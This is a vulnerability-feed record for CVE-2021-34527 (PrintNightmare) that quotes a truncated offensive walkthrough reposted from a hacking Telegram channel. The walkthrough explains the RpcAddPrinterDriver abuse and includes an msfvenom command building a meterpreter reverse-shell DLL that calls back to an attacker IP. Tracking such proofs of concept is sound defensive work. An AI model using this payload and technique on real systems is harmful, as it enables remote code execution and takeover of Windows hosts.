{"uuid": "f2bef3e1-f6b6-4a15-86dd-15b2aadc7f89", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-34527", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/43509", "content": "col) has a method RpcAddPrinterDriverEx() which allows remote driver installation by users with the SeLoadDriverPrivilege right. This right is only with users in Administrator group. So, the exploit tries to bypass this authentication in RpcAddPrinterDriver. Technique given by afwu. Cube0x0 tweeted that he was able to achieve the same results by exploiting MS-PAR protocol\u2019s RpcAsyncAddPrinterDriver() method which is similar to RpcAddPrinterDriver and loads drivers remotely. Technique can be found here.\n\nWe will use both these techniques in this demonstration article. Vulnerability FlowTo understand the vulnerability flow, lets understand working of RpcAddPrinterDriver first. The steps are as follows:\n\n* Add a Printer Driver to a Server call (RpcAddPrinterDriver)\n* Client (Attacker) creates a share with printer driver files accessible\n* Client (attacker) crafts an MS-RPRN (Print System Remote Protocol) Driver container which has DRIVER_INFO_2 in it. (basically, these are variables that contain path of DLLs, type of architecture etc.)\n* Client (Attacker) calls:\nRpcAddPrinterDriver(\u201cMachine IPsThroughout the demo, following IP addresses have been taken:\n\nAttacker IP: 192.168.1.2\n\nVictim IP: 192.168.1.190\n\nCompromised Credentials used: ignite/123 Method 1 \u2013 PrintNightmare RCE using PythonThis is the method pertaining to CVE-2021-34527 (remote code execution as admin). You can find Cube0x0\u2019s official PoC here. We will be using a forked version here.\n\nFirst, we need to create a malicious DLL file which would run as ADMINISTRATOR. We use msfvenom for this.\nmsfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.2 lport=4444 -f dll -o evil.dll \nhttps://blogger.googleusercontent.com/img/a/AVvXsEhuPKz1-qkbiH6YyS4YRq1sD7zWPg-ZnDz_n1Ryo4n7LkufoWoodkoYzm-RW8Ub9JG40lNsWTbUBGNZ7h43xjkCVI6PRMSrkKscjs2ulg64-W4dDW5Am4NdSuHoZEdsQD-7EYIfcZoDFw-LkBSZ06PUjnRmhv2qvQIBCeUgjqoMBRivPWXvme-F7viOUA=s16000 \n\nNow, we can check if the target is vulnerable or not using metasploit\u2019s auxiliary module. Here, I have entered a random path[...]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-07T01:00:30.895333Z"}